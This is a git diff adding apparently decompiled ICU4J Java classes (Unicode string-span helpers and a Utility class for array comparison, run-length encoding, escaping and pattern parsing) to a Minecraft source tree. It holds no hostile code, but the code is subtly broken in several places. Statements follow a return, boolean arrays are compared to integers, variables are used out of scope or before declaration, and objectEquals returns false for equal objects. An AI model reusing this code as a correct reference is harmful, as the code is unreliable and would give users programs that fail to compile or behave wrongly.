+      int cpLength = spanOne(spanSet, s, pos, rest);
+      if (cpLength > 0) {
+        return pos - start;
+      }
+      
+
+      for (i = 0; i < stringsLength; i++) {
+        if (spanLengths[i] != 255)
+        {
+
+          String string = (String)strings.get(i);
+          
+          int length16 = string.length();
+          if ((length16 <= rest) && (matches16CPB(s, pos, length, string, length16))) {
+            return pos - start;
+          }
+        }
+      }
+      
+
+
+      pos -= cpLength;
+      rest += cpLength;
+    } while (rest != 0);
+    return length;
+  }
+  
+  private int spanNotBack(CharSequence s, int length) {
+    int pos = length;
+    int stringsLength = strings.size();
+    
+    do
+    {
+      pos = spanNotSet.spanBack(s, pos, UnicodeSet.SpanCondition.NOT_CONTAINED);
+      if (pos == 0) {
+        return 0;
+      }
+      
+
+
+      int cpLength = spanOneBack(spanSet, s, pos);
+      if (cpLength > 0) {
+        return pos;
+      }
+      
+
+      for (int i = 0; i < stringsLength; i++)
+      {
+
+
+        if (spanLengths[i] != 255)
+        {
+
+          String string = (String)strings.get(i);
+          
+          int length16 = string.length();
+          if ((length16 <= pos) && (matches16CPB(s, pos - length16, length, string, length16))) {
+            return pos;
+          }
+        }
+      }
+      
+
+
+      pos += cpLength;
+    } while (pos != 0);
+    return 0;
+  }
+  
+  static short makeSpanLengthByte(int spanLength)
+  {
+    return spanLength < 254 ? (short)spanLength : 254;
+  }
+  
+  private static boolean matches16(CharSequence s, int start, String t, int length)
+  {
+    int end = start + length;
+    while (length-- > 0) {
+      if (s.charAt(--end) != t.charAt(length)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  static boolean matches16CPB(CharSequence s, int start, int slength, String t, int tlength)
+  {
+    return ((0 >= start) || (!UTF16.isLeadSurrogate(s.charAt(start - 1))) || (!UTF16.isTrailSurrogate(s.charAt(start + 0)))) && ((tlength >= slength) || (!UTF16.isLeadSurrogate(s.charAt(start + tlength - 1))) || (!UTF16.isTrailSurrogate(s.charAt(start + tlength)))) && (matches16(s, start, t, tlength));
+  }
+  
+
+
+
+
+
+  static int spanOne(UnicodeSet set, CharSequence s, int start, int length)
+  {
+    char c = s.charAt(start);
+    if ((c >= 55296) && (c <= 56319) && (length >= 2)) {
+      char c2 = s.charAt(start + 1);
+      if (UTF16.isTrailSurrogate(c2)) {
+        int supplementary = UCharacterProperty.getRawSupplementary(c, c2);
+        return set.contains(supplementary) ? 2 : -2;
+      }
+    }
+    return set.contains(c) ? 1 : -1;
+  }
+  
+  static int spanOneBack(UnicodeSet set, CharSequence s, int length) {
+    char c = s.charAt(length - 1);
+    if ((c >= 56320) && (c <= 57343) && (length >= 2)) {
+      char c2 = s.charAt(length - 2);
+      if (UTF16.isLeadSurrogate(c2)) {
+        int supplementary = UCharacterProperty.getRawSupplementary(c2, c);
+        return set.contains(supplementary) ? 2 : -2;
+      }
+    }
+    return set.contains(c) ? 1 : -1;
+  }
+  
+
+
+
+
+
+  static class OffsetList
+  {
+    private boolean[] list;
+    
+
+
+
+
+    private int length;
+    
+
+
+
+
+    private int start;
+    
+
+
+
+
+
+    public OffsetList()
+    {
+      list = new boolean[16];
+    }
+    
+    public void setMaxLength(int maxLength) {
+      if (maxLength > list.length) {
+        list = new boolean[maxLength];
+      }
+      clear();
+    }
+    
+    public void clear() {
+      for (int i = list.length; i-- > 0;) {
+        list[i] = false;
+      }
+      start = (this.length = 0);
+    }
+    
+    public boolean isEmpty() {
+      return length == 0;
+    }
+    
+
+
+
+
+    public void shift(int delta)
+    {
+      int i = start + delta;
+      if (i >= list.length) {
+        i -= list.length;
+      }
+      if (list[i] != 0) {
+        list[i] = false;
+        length -= 1;
+      }
+      start = i;
+    }
+    
+
+    public void addOffset(int offset)
+    {
+      int i = start + offset;
+      if (i >= list.length) {
+        i -= list.length;
+      }
+      list[i] = true;
+      length += 1;
+    }
+    
+    public boolean containsOffset(int offset)
+    {
+      int i = start + offset;
+      if (i >= list.length) {
+        i -= list.length;
+      }
+      return list[i];
+    }
+    
+
+
+
+    public int popMinimum()
+    {
+      int i = start;
+      do { i++; if (i >= list.length) break;
+      } while (list[i] == 0);
+      list[i] = false;
+      length -= 1;
+      int result = i - start;
+      start = i;
+      return result;
+      
+
+
+
+
+
+      int result = list.length - start;
+      i = 0;
+      while (list[i] == 0) {
+        i++;
+      }
+      list[i] = false;
+      length -= 1;
+      start = i;
+      return result + i;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Utility.java b/src/minecraft/com/ibm/icu/impl/Utility.java
new file mode 100644
index 0000000..1df474d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Utility.java
@@ -0,0 +1,1813 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.text.Replaceable;
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.text.UnicodeMatcher;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Locale;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+public final class Utility
+{
+  private static final char APOSTROPHE = '\'';
+  private static final char BACKSLASH = '\\';
+  private static final int MAGIC_UNSIGNED = Integer.MIN_VALUE;
+  private static final char ESCAPE = 'ꖥ';
+  static final byte ESCAPE_BYTE = -91;
+  
+  public Utility() {}
+  
+  public static final boolean arrayEquals(Object[] source, Object target)
+  {
+    if (source == null) return target == null;
+    if (!(target instanceof Object[])) return false;
+    Object[] targ = (Object[])target;
+    return (source.length == targ.length) && (arrayRegionMatches(source, 0, targ, 0, source.length));
+  }
+  
+
+
+
+
+  public static final boolean arrayEquals(int[] source, Object target)
+  {
+    if (source == null) return target == null;
+    if (!(target instanceof int[])) return false;
+    int[] targ = (int[])target;
+    return (source.length == targ.length) && (arrayRegionMatches(source, 0, targ, 0, source.length));
+  }
+  
+
+
+
+
+  public static final boolean arrayEquals(double[] source, Object target)
+  {
+    if (source == null) return target == null;
+    if (!(target instanceof double[])) return false;
+    double[] targ = (double[])target;
+    return (source.length == targ.length) && (arrayRegionMatches(source, 0, targ, 0, source.length));
+  }
+  
+  public static final boolean arrayEquals(byte[] source, Object target) {
+    if (source == null) return target == null;
+    if (!(target instanceof byte[])) return false;
+    byte[] targ = (byte[])target;
+    return (source.length == targ.length) && (arrayRegionMatches(source, 0, targ, 0, source.length));
+  }
+  
+
+
+
+
+  public static final boolean arrayEquals(Object source, Object target)
+  {
+    if (source == null) { return target == null;
+    }
+    
+    if ((source instanceof Object[]))
+      return arrayEquals((Object[])source, target);
+    if ((source instanceof int[]))
+      return arrayEquals((int[])source, target);
+    if ((source instanceof double[]))
+      return arrayEquals((double[])source, target);
+    if ((source instanceof byte[]))
+      return arrayEquals((byte[])source, target);
+    return source.equals(target);
+  }
+  
+
+
+
+
+
+
+
+
+  public static final boolean arrayRegionMatches(Object[] source, int sourceStart, Object[] target, int targetStart, int len)
+  {
+    int sourceEnd = sourceStart + len;
+    int delta = targetStart - sourceStart;
+    for (int i = sourceStart; i < sourceEnd; i++) {
+      if (!arrayEquals(source[i], target[(i + delta)]))
+        return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final boolean arrayRegionMatches(char[] source, int sourceStart, char[] target, int targetStart, int len)
+  {
+    int sourceEnd = sourceStart + len;
+    int delta = targetStart - sourceStart;
+    for (int i = sourceStart; i < sourceEnd; i++) {
+      if (source[i] != target[(i + delta)])
+        return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final boolean arrayRegionMatches(int[] source, int sourceStart, int[] target, int targetStart, int len)
+  {
+    int sourceEnd = sourceStart + len;
+    int delta = targetStart - sourceStart;
+    for (int i = sourceStart; i < sourceEnd; i++) {
+      if (source[i] != target[(i + delta)])
+        return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final boolean arrayRegionMatches(double[] source, int sourceStart, double[] target, int targetStart, int len)
+  {
+    int sourceEnd = sourceStart + len;
+    int delta = targetStart - sourceStart;
+    for (int i = sourceStart; i < sourceEnd; i++) {
+      if (source[i] != target[(i + delta)])
+        return false;
+    }
+    return true;
+  }
+  
+  public static final boolean arrayRegionMatches(byte[] source, int sourceStart, byte[] target, int targetStart, int len) {
+    int sourceEnd = sourceStart + len;
+    int delta = targetStart - sourceStart;
+    for (int i = sourceStart; i < sourceEnd; i++) {
+      if (source[i] != target[(i + delta)])
+        return false;
+    }
+    return true;
+  }
+  
+
+
+  public static final boolean objectEquals(Object a, Object b)
+  {
+    return b == null ? false : a == null ? false : b == null ? true : a.equals(b);
+  }
+  
+
+
+
+
+  public static <T extends Comparable<T>> int checkCompare(T a, T b)
+  {
+    return b == null ? 1 : a == null ? -1 : b == null ? 0 : a.compareTo(b);
+  }
+  
+
+
+
+
+  public static int checkHash(Object a)
+  {
+    return a == null ? 0 : a.hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final String arrayToRLEString(int[] a)
+  {
+    StringBuilder buffer = new StringBuilder();
+    
+    appendInt(buffer, a.length);
+    int runValue = a[0];
+    int runLength = 1;
+    for (int i = 1; i < a.length; i++) {
+      int s = a[i];
+      if ((s == runValue) && (runLength < 65535)) {
+        runLength++;
+      } else {
+        encodeRun(buffer, runValue, runLength);
+        runValue = s;
+        runLength = 1;
+      }
+    }
+    encodeRun(buffer, runValue, runLength);
+    return buffer.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final String arrayToRLEString(short[] a)
+  {
+    StringBuilder buffer = new StringBuilder();
+    
+    buffer.append((char)(a.length >> 16));
+    buffer.append((char)a.length);
+    short runValue = a[0];
+    int runLength = 1;
+    for (int i = 1; i < a.length; i++) {
+      short s = a[i];
+      if ((s == runValue) && (runLength < 65535)) { runLength++;
+      } else {
+        encodeRun(buffer, runValue, runLength);
+        runValue = s;
+        runLength = 1;
+      }
+    }
+    encodeRun(buffer, runValue, runLength);
+    return buffer.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final String arrayToRLEString(char[] a)
+  {
+    StringBuilder buffer = new StringBuilder();
+    buffer.append((char)(a.length >> 16));
+    buffer.append((char)a.length);
+    char runValue = a[0];
+    int runLength = 1;
+    for (int i = 1; i < a.length; i++) {
+      char s = a[i];
+      if ((s == runValue) && (runLength < 65535)) { runLength++;
+      } else {
+        encodeRun(buffer, (short)runValue, runLength);
+        runValue = s;
+        runLength = 1;
+      }
+    }
+    encodeRun(buffer, (short)runValue, runLength);
+    return buffer.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final String arrayToRLEString(byte[] a)
+  {
+    StringBuilder buffer = new StringBuilder();
+    buffer.append((char)(a.length >> 16));
+    buffer.append((char)a.length);
+    byte runValue = a[0];
+    int runLength = 1;
+    byte[] state = new byte[2];
+    for (int i = 1; i < a.length; i++) {
+      byte b = a[i];
+      if ((b == runValue) && (runLength < 255)) { runLength++;
+      } else {
+        encodeRun(buffer, runValue, runLength, state);
+        runValue = b;
+        runLength = 1;
+      }
+    }
+    encodeRun(buffer, runValue, runLength, state);
+    
+
+
+    if (state[0] != 0) { appendEncodedByte(buffer, (byte)0, state);
+    }
+    return buffer.toString();
+  }
+  
+
+
+
+  private static final <T extends Appendable> void encodeRun(T buffer, int value, int length)
+  {
+    if (length < 4) {
+      for (int j = 0; j < length; j++) {
+        if (value == 42405) {
+          appendInt(buffer, value);
+        }
+        appendInt(buffer, value);
+      }
+    }
+    else {
+      if (length == 42405) {
+        if (value == 42405) {
+          appendInt(buffer, 42405);
+        }
+        appendInt(buffer, value);
+        length--;
+      }
+      appendInt(buffer, 42405);
+      appendInt(buffer, length);
+      appendInt(buffer, value);
+    }
+  }
+  
+  private static final <T extends Appendable> void appendInt(T buffer, int value) {
+    try {
+      buffer.append((char)(value >>> 16));
+      buffer.append((char)(value & 0xFFFF));
+    } catch (IOException e) {
+      throw new IllegalIcuArgumentException(e);
+    }
+  }
+  
+
+
+  private static final <T extends Appendable> void encodeRun(T buffer, short value, int length)
+  {
+    try
+    {
+      if (length < 4) {
+        for (int j = 0; j < length; j++) {
+          if (value == 42405)
+            buffer.append(42405);
+          buffer.append((char)value);
+        }
+      }
+      else {
+        if (length == 42405) {
+          if (value == 42405) buffer.append(42405);
+          buffer.append((char)value);
+          length--;
+        }
+        buffer.append(42405);
+        buffer.append((char)length);
+        buffer.append((char)value);
+      }
+    } catch (IOException e) {
+      throw new IllegalIcuArgumentException(e);
+    }
+  }
+  
+
+
+
+
+  private static final <T extends Appendable> void encodeRun(T buffer, byte value, int length, byte[] state)
+  {
+    if (length < 4) {
+      for (int j = 0; j < length; j++) {
+        if (value == -91) appendEncodedByte(buffer, (byte)-91, state);
+        appendEncodedByte(buffer, value, state);
+      }
+    }
+    else {
+      if (length == -91) {
+        if (value == -91) appendEncodedByte(buffer, (byte)-91, state);
+        appendEncodedByte(buffer, value, state);
+        length--;
+      }
+      appendEncodedByte(buffer, (byte)-91, state);
+      appendEncodedByte(buffer, (byte)length, state);
+      appendEncodedByte(buffer, value, state);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private static final <T extends Appendable> void appendEncodedByte(T buffer, byte value, byte[] state)
+  {
+    try
+    {
+      if (state[0] != 0) {
+        char c = (char)(state[1] << 8 | value & 0xFF);
+        buffer.append(c);
+        state[0] = 0;
+      }
+      else {
+        state[0] = 1;
+        state[1] = value;
+      }
+    } catch (IOException e) {
+      throw new IllegalIcuArgumentException(e);
+    }
+  }
+  
+
+
+  public static final int[] RLEStringToIntArray(String s)
+  {
+    int length = getInt(s, 0);
+    int[] array = new int[length];
+    int ai = 0;int i = 1;
+    
+    int maxI = s.length() / 2;
+    while ((ai < length) && (i < maxI)) {
+      int c = getInt(s, i++);
+      
+      if (c == 42405) {
+        c = getInt(s, i++);
+        if (c == 42405) {
+          array[(ai++)] = c;
+        } else {
+          int runLength = c;
+          int runValue = getInt(s, i++);
+          for (int j = 0; j < runLength; j++) {
+            array[(ai++)] = runValue;
+          }
+        }
+      }
+      else {
+        array[(ai++)] = c;
+      }
+    }
+    
+    if ((ai != length) || (i != maxI)) {
+      throw new IllegalStateException("Bad run-length encoded int array");
+    }
+    
+    return array;
+  }
+  
+  static final int getInt(String s, int i) { return s.charAt(2 * i) << '\020' | s.charAt(2 * i + 1); }
+  
+
+
+
+  public static final short[] RLEStringToShortArray(String s)
+  {
+    int length = s.charAt(0) << '\020' | s.charAt(1);
+    short[] array = new short[length];
+    int ai = 0;
+    for (int i = 2; i < s.length(); i++) {
+      char c = s.charAt(i);
+      if (c == 42405) {
+        c = s.charAt(++i);
+        if (c == 42405) {
+          array[(ai++)] = ((short)c);
+        } else {
+          int runLength = c;
+          short runValue = (short)s.charAt(++i);
+          for (int j = 0; j < runLength; j++) array[(ai++)] = runValue;
+        }
+      }
+      else {
+        array[(ai++)] = ((short)c);
+      }
+    }
+    
+    if (ai != length) {
+      throw new IllegalStateException("Bad run-length encoded short array");
+    }
+    return array;
+  }
+  
+
+
+  public static final char[] RLEStringToCharArray(String s)
+  {
+    int length = s.charAt(0) << '\020' | s.charAt(1);
+    char[] array = new char[length];
+    int ai = 0;
+    for (int i = 2; i < s.length(); i++) {
+      char c = s.charAt(i);
+      if (c == 42405) {
+        c = s.charAt(++i);
+        if (c == 42405) {
+          array[(ai++)] = c;
+        } else {
+          int runLength = c;
+          char runValue = s.charAt(++i);
+          for (int j = 0; j < runLength; j++) array[(ai++)] = runValue;
+        }
+      }
+      else {
+        array[(ai++)] = c;
+      }
+    }
+    
+    if (ai != length) {
+      throw new IllegalStateException("Bad run-length encoded short array");
+    }
+    return array;
+  }
+  
+
+
+  public static final byte[] RLEStringToByteArray(String s)
+  {
+    int length = s.charAt(0) << '\020' | s.charAt(1);
+    byte[] array = new byte[length];
+    boolean nextChar = true;
+    char c = '\000';
+    int node = 0;
+    int runLength = 0;
+    int i = 2;
+    for (int ai = 0; ai < length;)
+    {
+      byte b;
+      
+
+
+      if (nextChar) {
+        c = s.charAt(i++);
+        byte b = (byte)(c >> '\b');
+        nextChar = false;
+      }
+      else {
+        b = (byte)(c & 0xFF);
+        nextChar = true;
+      }
+      
+
+
+
+
+      switch (node)
+      {
+      case 0: 
+        if (b == -91) {
+          node = 1;
+        }
+        else {
+          array[(ai++)] = b;
+        }
+        break;
+      
+
+      case 1: 
+        if (b == -91) {
+          array[(ai++)] = -91;
+          node = 0;
+        }
+        else {
+          runLength = b;
+          
+          if (runLength < 0) runLength += 256;
+          node = 2;
+        }
+        break;
+      
+
+      case 2: 
+        for (int j = 0; j < runLength; j++) array[(ai++)] = b;
+        node = 0;
+      }
+      
+    }
+    
+    if (node != 0) {
+      throw new IllegalStateException("Bad run-length encoded byte array");
+    }
+    if (i != s.length()) {
+      throw new IllegalStateException("Excess data in RLE byte array string");
+    }
+    return array;
+  }
+  
+  public static String LINE_SEPARATOR = System.getProperty("line.separator");
+  
+
+
+
+
+  public static final String formatForSource(String s)
+  {
+    StringBuilder buffer = new StringBuilder();
+    for (int i = 0; i < s.length();) {
+      if (i > 0) buffer.append('+').append(LINE_SEPARATOR);
+      buffer.append("        \"");
+      int count = 11;
+      while ((i < s.length()) && (count < 80)) {
+        char c = s.charAt(i++);
+        if ((c < ' ') || (c == '"') || (c == '\\')) {
+          if (c == '\n') {
+            buffer.append("\\n");
+            count += 2;
+          } else if (c == '\t') {
+            buffer.append("\\t");
+            count += 2;
+          } else if (c == '\r') {
+            buffer.append("\\r");
+            count += 2;
+
+          }
+          else
+          {
+
+            buffer.append('\\');
+            buffer.append(HEX_DIGIT[((c & 0x1C0) >> '\006')]);
+            buffer.append(HEX_DIGIT[((c & 0x38) >> '\003')]);
+            buffer.append(HEX_DIGIT[(c & 0x7)]);
+            count += 4;
+          }
+        }
+        else if (c <= '~') {
+          buffer.append(c);
+          count++;
+        }
+        else {
+          buffer.append("\\u");
+          buffer.append(HEX_DIGIT[((c & 0xF000) >> '\f')]);
+          buffer.append(HEX_DIGIT[((c & 0xF00) >> '\b')]);
+          buffer.append(HEX_DIGIT[((c & 0xF0) >> '\004')]);
+          buffer.append(HEX_DIGIT[(c & 0xF)]);
+          count += 6;
+        }
+      }
+      buffer.append('"');
+    }
+    return buffer.toString();
+  }
+  
+  static final char[] HEX_DIGIT = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
+  
+
+
+
+
+  public static final String format1ForSource(String s)
+  {
+    StringBuilder buffer = new StringBuilder();
+    buffer.append("\"");
+    for (int i = 0; i < s.length();) {
+      char c = s.charAt(i++);
+      if ((c < ' ') || (c == '"') || (c == '\\')) {
+        if (c == '\n') {
+          buffer.append("\\n");
+        } else if (c == '\t') {
+          buffer.append("\\t");
+        } else if (c == '\r') {
+          buffer.append("\\r");
+
+        }
+        else
+        {
+
+          buffer.append('\\');
+          buffer.append(HEX_DIGIT[((c & 0x1C0) >> '\006')]);
+          buffer.append(HEX_DIGIT[((c & 0x38) >> '\003')]);
+          buffer.append(HEX_DIGIT[(c & 0x7)]);
+        }
+      }
+      else if (c <= '~') {
+        buffer.append(c);
+      }
+      else {
+        buffer.append("\\u");
+        buffer.append(HEX_DIGIT[((c & 0xF000) >> '\f')]);
+        buffer.append(HEX_DIGIT[((c & 0xF00) >> '\b')]);
+        buffer.append(HEX_DIGIT[((c & 0xF0) >> '\004')]);
+        buffer.append(HEX_DIGIT[(c & 0xF)]);
+      }
+    }
+    buffer.append('"');
+    return buffer.toString();
+  }
+  
+
+
+
+  public static final String escape(String s)
+  {
+    StringBuilder buf = new StringBuilder();
+    for (int i = 0; i < s.length();) {
+      int c = Character.codePointAt(s, i);
+      i += UTF16.getCharCount(c);
+      if ((c >= 32) && (c <= 127)) {
+        if (c == 92) {
+          buf.append("\\\\");
+        } else {
+          buf.append((char)c);
+        }
+      } else {
+        boolean four = c <= 65535;
+        buf.append(four ? "\\u" : "\\U");
+        buf.append(hex(c, four ? 4 : 8));
+      }
+    }
+    return buf.toString();
+  }
+  
+
+  private static final char[] UNESCAPE_MAP = { 'a', '\007', 'b', '\b', 'e', '\033', 'f', '\f', 'n', '\n', 'r', '\r', 't', '\t', 'v', '\013' };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int unescapeAt(String s, int[] offset16)
+  {
+    int result = 0;
+    int n = 0;
+    int minDig = 0;
+    int maxDig = 0;
+    int bitsPerDigit = 4;
+    
+
+    boolean braces = false;
+    
+
+    int offset = offset16[0];
+    int length = s.length();
+    if ((offset < 0) || (offset >= length)) {
+      return -1;
+    }
+    
+
+    int c = Character.codePointAt(s, offset);
+    offset += UTF16.getCharCount(c);
+    
+
+    switch (c) {
+    case 117: 
+      minDig = maxDig = 4;
+      break;
+    case 85: 
+      minDig = maxDig = 8;
+      break;
+    case 120: 
+      minDig = 1;
+      if ((offset < length) && (UTF16.charAt(s, offset) == 123)) {
+        offset++;
+        braces = true;
+        maxDig = 8;
+      } else {
+        maxDig = 2;
+      }
+      break;
+    default: 
+      int dig = UCharacter.digit(c, 8);
+      if (dig >= 0) {
+        minDig = 1;
+        maxDig = 3;
+        n = 1;
+        bitsPerDigit = 3;
+        result = dig;
+      }
+      break;
+    }
+    if (minDig != 0) {
+      while ((offset < length) && (n < maxDig)) {
+        c = UTF16.charAt(s, offset);
+        int dig = UCharacter.digit(c, bitsPerDigit == 3 ? 8 : 16);
+        if (dig < 0) {
+          break;
+        }
+        result = result << bitsPerDigit | dig;
+        offset += UTF16.getCharCount(c);
+        n++;
+      }
+      if (n < minDig) {
+        return -1;
+      }
+      if (braces) {
+        if (c != 125) {
+          return -1;
+        }
+        offset++;
+      }
+      if ((result < 0) || (result >= 1114112)) {
+        return -1;
+      }
+      
+
+
+
+      if ((offset < length) && (UTF16.isLeadSurrogate((char)result)))
+      {
+        int ahead = offset + 1;
+        c = s.charAt(offset);
+        if ((c == 92) && (ahead < length)) {
+          int[] o = { ahead };
+          c = unescapeAt(s, o);
+          ahead = o[0];
+        }
+        if (UTF16.isTrailSurrogate((char)c)) {
+          offset = ahead;
+          result = UCharacterProperty.getRawSupplementary((char)result, (char)c);
+        }
+      }
+      
+      offset16[0] = offset;
+      return result;
+    }
+    
+
+    for (int i = 0; i < UNESCAPE_MAP.length; i += 2) {
+      if (c == UNESCAPE_MAP[i]) {
+        offset16[0] = offset;
+        return UNESCAPE_MAP[(i + 1)]; }
+      if (c < UNESCAPE_MAP[i]) {
+        break;
+      }
+    }
+    
+
+    if ((c == 99) && (offset < length)) {
+      c = UTF16.charAt(s, offset);
+      offset16[0] = (offset + UTF16.getCharCount(c));
+      return 0x1F & c;
+    }
+    
+
+
+    offset16[0] = offset;
+    return c;
+  }
+  
+
+
+
+
+  public static String unescape(String s)
+  {
+    StringBuilder buf = new StringBuilder();
+    int[] pos = new int[1];
+    for (int i = 0; i < s.length();) {
+      char c = s.charAt(i++);
+      if (c == '\\') {
+        pos[0] = i;
+        int e = unescapeAt(s, pos);
+        if (e < 0) {
+          throw new IllegalArgumentException("Invalid escape sequence " + s.substring(i - 1, Math.min(i + 8, s.length())));
+        }
+        
+        buf.appendCodePoint(e);
+        i = pos[0];
+      } else {
+        buf.append(c);
+      }
+    }
+    return buf.toString();
+  }
+  
+
+
+
+  public static String unescapeLeniently(String s)
+  {
+    StringBuilder buf = new StringBuilder();
+    int[] pos = new int[1];
+    for (int i = 0; i < s.length();) {
+      char c = s.charAt(i++);
+      if (c == '\\') {
+        pos[0] = i;
+        int e = unescapeAt(s, pos);
+        if (e < 0) {
+          buf.append(c);
+        } else {
+          buf.appendCodePoint(e);
+          i = pos[0];
+        }
+      } else {
+        buf.append(c);
+      }
+    }
+    return buf.toString();
+  }
+  
+
+
+
+  public static String hex(long ch)
+  {
+    return hex(ch, 4);
+  }
+  
+
+
+  public static String hex(long i, int places)
+  {
+    if (i == Long.MIN_VALUE) return "-8000000000000000";
+    boolean negative = i < 0L;
+    if (negative) {
+      i = -i;
+    }
+    String result = Long.toString(i, 16).toUpperCase(Locale.ENGLISH);
+    if (result.length() < places) {
+      result = "0000000000000000".substring(result.length(), places) + result;
+    }
+    if (negative) {
+      return '-' + result;
+    }
+    return result;
+  }
+  
+
+
+
+  public static String hex(CharSequence s)
+  {
+    return ((StringBuilder)hex(s, 4, ",", true, new StringBuilder())).toString();
+  }
+  
+
+
+
+  public static <S extends CharSequence, U extends CharSequence, T extends Appendable> T hex(S s, int width, U separator, boolean useCodePoints, T result)
+  {
+    try
+    {
+      if (useCodePoints) {
+        int cp;
+        for (int i = 0; i < s.length(); i += UTF16.getCharCount(cp)) {
+          cp = Character.codePointAt(s, i);
+          if (i != 0) {
+            result.append(separator);
+          }
+          result.append(hex(cp, width));
+        }
+      } else {
+        for (int i = 0; i < s.length(); i++) {
+          if (i != 0) {
+            result.append(separator);
+          }
+          result.append(hex(s.charAt(i), width));
+        }
+      }
+      return result;
+    } catch (IOException e) {
+      throw new IllegalIcuArgumentException(e);
+    }
+  }
+  
+  public static String hex(byte[] o, int start, int end, String separator) {
+    StringBuilder result = new StringBuilder();
+    
+    for (int i = start; i < end; i++) {
+      if (i != 0) result.append(separator);
+      result.append(hex(o[i]));
+    }
+    return result.toString();
+  }
+  
+
+
+
+  public static <S extends CharSequence> String hex(S s, int width, S separator)
+  {
+    return ((StringBuilder)hex(s, width, separator, true, new StringBuilder())).toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static void split(String s, char divider, String[] output)
+  {
+    int last = 0;
+    int current = 0;
+    
+    for (int i = 0; i < s.length(); i++) {
+      if (s.charAt(i) == divider) {
+        output[(current++)] = s.substring(last, i);
+        last = i + 1;
+      }
+    }
+    output[(current++)] = s.substring(last, i);
+    while (current < output.length) {
+      output[(current++)] = "";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static String[] split(String s, char divider)
+  {
+    int last = 0;
+    
+    ArrayList<String> output = new ArrayList();
+    for (int i = 0; i < s.length(); i++) {
+      if (s.charAt(i) == divider) {
+        output.add(s.substring(last, i));
+        last = i + 1;
+      }
+    }
+    output.add(s.substring(last, i));
+    return (String[])output.toArray(new String[output.size()]);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int lookup(String source, String[] target)
+  {
+    for (int i = 0; i < target.length; i++) {
+      if (source.equals(target[i])) return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean parseChar(String id, int[] pos, char ch)
+  {
+    int start = pos[0];
+    pos[0] = PatternProps.skipWhiteSpace(id, pos[0]);
+    if ((pos[0] == id.length()) || (id.charAt(pos[0]) != ch))
+    {
+      pos[0] = start;
+      return false;
+    }
+    pos[0] += 1;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int parsePattern(String rule, int pos, int limit, String pattern, int[] parsedInts)
+  {
+    int[] p = new int[1];
+    int intCount = 0;
+    for (int i = 0; i < pattern.length(); i++) {
+      char cpat = pattern.charAt(i);
+      
+      switch (cpat) {
+      case ' ': 
+        if (pos >= limit) {
+          return -1;
+        }
+        c = rule.charAt(pos++);
+        if (!PatternProps.isWhiteSpace(c)) {
+          return -1;
+        }
+      
+      case '~': 
+        pos = PatternProps.skipWhiteSpace(rule, pos);
+        break;
+      case '#': 
+        p[0] = pos;
+        parsedInts[(intCount++)] = parseInteger(rule, p, limit);
+        if (p[0] == pos)
+        {
+          return -1;
+        }
+        pos = p[0];
+        break;
+      }
+      if (pos >= limit) {
+        return -1;
+      }
+      char c = (char)UCharacter.toLowerCase(rule.charAt(pos++));
+      if (c != cpat) {
+        return -1;
+      }
+    }
+    
+
+    return pos;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int parsePattern(String pat, Replaceable text, int index, int limit)
+  {
+    int ipat = 0;
+    
+
+    if (ipat == pat.length()) {
+      return index;
+    }
+    
+    int cpat = Character.codePointAt(pat, ipat);
+    
+    while (index < limit) {
+      int c = text.char32At(index);
+      
+
+      if (cpat == 126) {
+        if (PatternProps.isWhiteSpace(c)) {
+          index += UTF16.getCharCount(c);
+          continue;
+        }
+        ipat++; if (ipat == pat.length()) {
+          return index;
+
+        }
+        
+
+
+      }
+      else if (c == cpat) {
+        int n = UTF16.getCharCount(c);
+        index += n;
+        ipat += n;
+        if (ipat == pat.length()) {
+          return index;
+        }
+        
+
+      }
+      else
+      {
+        return -1;
+      }
+      
+      cpat = UTF16.charAt(pat, ipat);
+    }
+    
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public static int parseInteger(String rule, int[] pos, int limit)
+  {
+    int count = 0;
+    int value = 0;
+    int p = pos[0];
+    int radix = 10;
+    
+    if (rule.regionMatches(true, p, "0x", 0, 2)) {
+      p += 2;
+      radix = 16;
+    } else if ((p < limit) && (rule.charAt(p) == '0')) {
+      p++;
+      count = 1;
+      radix = 8;
+    }
+    
+    while (p < limit) {
+      int d = UCharacter.digit(rule.charAt(p++), radix);
+      if (d < 0) {
+        p--;
+        break;
+      }
+      count++;
+      int v = value * radix + d;
+      if (v <= value)
+      {
+
+
+
+        return 0;
+      }
+      value = v;
+    }
+    if (count > 0) {
+      pos[0] = p;
+    }
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String parseUnicodeIdentifier(String str, int[] pos)
+  {
+    StringBuilder buf = new StringBuilder();
+    int p = pos[0];
+    while (p < str.length()) {
+      int ch = Character.codePointAt(str, p);
+      if (buf.length() == 0) {
+        if (UCharacter.isUnicodeIdentifierStart(ch)) {
+          buf.appendCodePoint(ch);
+        } else {
+          return null;
+        }
+      } else {
